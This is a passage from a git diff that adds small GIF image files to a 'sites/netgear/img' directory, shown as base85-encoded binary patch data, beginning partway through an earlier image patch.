zA;x;^A?4)+CdCs3$2AT1`1(m>y!z}T>j27CNixXEbaXgdk648Xemt5X`9T>t#e*)+Yg2VEDoe&B*k?%qssK)um#BNaQPwtzmOpluT+u xo1%P#Pw{HppeuSAJno!oTSQZ2Zw+z1`=iPBCNFkxZIP7C{2vO@bTKgi>>p*9+5-Rp literal 0 HcmV?d00001 diff --git a/sites/netgear/img/cover-image.gif b/sites/netgear/img/cover-image.gif new file mode 100644 index 0000000000000000000000000000000000000000..9b37419032da5013bd795e511e6ed08458ff8e21 GIT binary patch literal 813 zcmZ?wbhEHb1qKcw21X7Uj|~eBHggDT#hloX Jc&LHF8UQiA47C6N literal 0 HcmV?d00001 diff --git a/sites/netgear/img/edit_icon.gif b/sites/netgear/img/edit_icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..a31c4c201c99eded1d64a0ba787753f4646c548e GIT binary patch literal 60 zcmZ?wbhEHbefsnH^S@ue z{{8;_@6VtAfB%95X_OeAA)xq^g^_{bKZ6d)d!RhQz_FR(Kc|exh6RqYmO^SK79ZLU zxARG!+u)eocC^zpO{9b|xnqL3Zq$*0Lyud#8#VnlG)z+U=o0nbArn~0)OtWb(dEQ~ zrlTH{bbY)Y@F)tj1PZ9Fs(5*+<;X=|CR2~AA0Bef(08@+xvC(*+{Pos3?hD8AOoJ#==lag~{tt}Zg2bZnh)gOmsipG?jY_8) z9QBILYPYll_X`e-$BzX0j83bIfwlV$kIU!uy8VvN>-YS={|^`_I7nD%c!(&{mdM!X u2w?UoISJ@Rd5LLfmC4zu*5nx~x-~Rvdir!@iOSmAql)4xJNu$q0027 literal 0 HcmV?d00001 diff --git a/sites/netgear/img/firmware-hint-background-short.gif b/sites/netgear/img/firmware-hint-background-short.gif new file mode 100644 index 0000000000000000000000000000000000000000..7c87a2bc83521670c306f95f2202bbda8a8ed866 GIT binary patch literal 1550 zcmZ?wbhEHb3}F;u_|5%hMVR9y$gtbeYNb^r!KQ zfaPwh)l9X%zP!5Bw>sdKIfd7aaGS8vI_wl%o+ z+0xaa>+bI={up(YyZm*`*0P&iaXvS4?r*7AW|up?<3sA922tgEuYWkQ2(Wnc?NHdf z_4V})$*1SN{dlOOk<-beU{~da@Y5NN*wna}4|Jmb7Q zhf|j`ZC2j8S}JQ%L{!v^hSi_%`O-EG#&8R<>8Uavdm z_bPkofhw&xi|%r+4DesJF6-^q8%jG>(xmy|tho2|F8 zZPV&?yFVT3&fc4K&pKz{dAna)P8?c4`k9nAOnZBfLtW-}t)$F>gAB}_1qas8y>u$) z=#;+II-A~q>ek%y?OXQh&GNs!H!W6